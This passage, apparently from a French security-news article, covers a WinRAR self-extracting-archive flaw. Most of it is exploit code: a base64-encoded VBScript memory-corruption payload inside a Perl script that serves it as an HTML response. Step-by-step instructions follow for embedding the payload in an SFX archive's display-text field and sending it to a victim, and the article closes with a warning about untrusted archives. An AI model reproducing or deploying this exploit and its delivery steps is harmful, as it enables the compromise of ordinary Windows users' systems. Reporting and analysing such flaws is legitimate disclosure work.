    MD1hMCthMwogICAgYTE9YTArMgogICAgYTI9YTArJmg4MDAwMDAwCiAgIAogICAgcmVkaW0gIFBy
    ZXNlcnZlIGFhKGEwKSAKICAgIHJlZGltICAgYWIoYTApICAgICAKICAgCiAgICByZWRpbSAgUHJl
    c2VydmUgYWEoYTIpCiAgIAogICAgdHlwZTE9MQogICAgYWIoMCk9MS4xMjM0NTY3ODkwMTIzNDU2
    Nzg5MDEyMzQ1Njc4OTAKICAgIGFhKGEwKT0xMAogICAgICAgICAgIAogICAgSWYoSXNPYmplY3Qo
    YWEoYTEtMSkpID0gRmFsc2UpIFRoZW4KICAgICAgIGlmKGludFZlcnNpb248NCkgdGhlbgogICAg
    ICAgICAgIG1lbT1jaW50KGEwKzEpKjE2ICAgICAgICAgICAgIAogICAgICAgICAgIGo9dmFydHlw
    ZShhYShhMS0xKSkKICAgICAgICAgICBpZigoaj1tZW0rNCkgb3IgKGoqOD1tZW0rOCkpIHRoZW4K
    ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAg
    ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
    ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
    IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
    c2UKICAgICAgICAgICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKICAgICAgICAgICAgIGV4aXQg
    IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlm
    KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVj
    dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUo
    YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBl
    bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
    IElmKHR5cGUxPSZoMmY2NikgVGhlbiAgICAgICAgIAogICAgICAgICAgT3Zlcj1UcnVlICAgICAg
    CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRy
    dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBh
    YShhMCkgICAgICAgICAgCiAgICAgICAgIAplbmQgZnVuY3Rpb24KIApmdW5jdGlvbiBydW0oYWRk
    KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAK
    ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1
    OTY2MzMxNjc0N0UtMzEzICAgICAgIAogICAgcnVtPWxlbmIoYWEoYTEpKSAgCiAgICAKICAgIGFi
    KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
    CiAKPC9ib2R5Pgo8L2h0bWw+";
    $poc = decode_base64($poc);
    
    my $r = "HTTP/1.0 200 OK\r\nContent-type: text/html\r\n\r\n
    $poc";
    return $r;
}

Ensuite, il va créer une archive SFX avec la dernière version de Winrar. Pour arriver à ses fins, il va suivre les étapes normales de la création d’une archive et sélectionner « créer une archive SFX », puis dans le Menu avancé, il va sélectionner « Options SFX ».

Dans le menu « Texte et icône » affiché se trouve une zone de texte avec comme étiquette « Texte à afficher dans la Fenêtre SFX ». Dans cette zone de texte, il va copier et coller le code HTML généré à partir du code Perl. Enfin, il fera OK, OK pour valider les différentes étapes. C’est cette archive SFX qui sera envoyée à la victime afin de compromettre son système. Nous rappelons qu'une archive SFX est une archive Windows auto-extractible.

Pour ceux qui le souhaitent, ils peuvent également consulter la vidéo ci-dessous afin de suivre visuellement la preuve de concept.

Lorsqu’un utilisateur ouvrira l’archive infectée, la charge utile du fichier infecté va exposer le système de l’utilisateur. Il faut souligner que cette attaque ne nécessite pas d’élévation de privilège. Il suffit pour la victime d’ouvrir le fichier et le tour est joué. Pieter Arntz, MVP Microsoft, a testé avec succès cette procédure. Bien entendu, il a d'abord effectué quelques petites modifications du code ci-dessus afin d'aboutir au même résultat que l'auteur de la découverte.

Il faut rappeler également que Winrar est utilisé par plus de 500 millions d’utilisateurs à travers le monde. Cette version affecte donc l’ensemble de ses utilisateurs qui se trouvent principalement sur la plateforme Windows. Prière à chaque personne de ne pas ouvrir les archives SFX provenant de personnes inconnues dans la mesure où aucun correctif n’a encore été publié.

Source : Seclists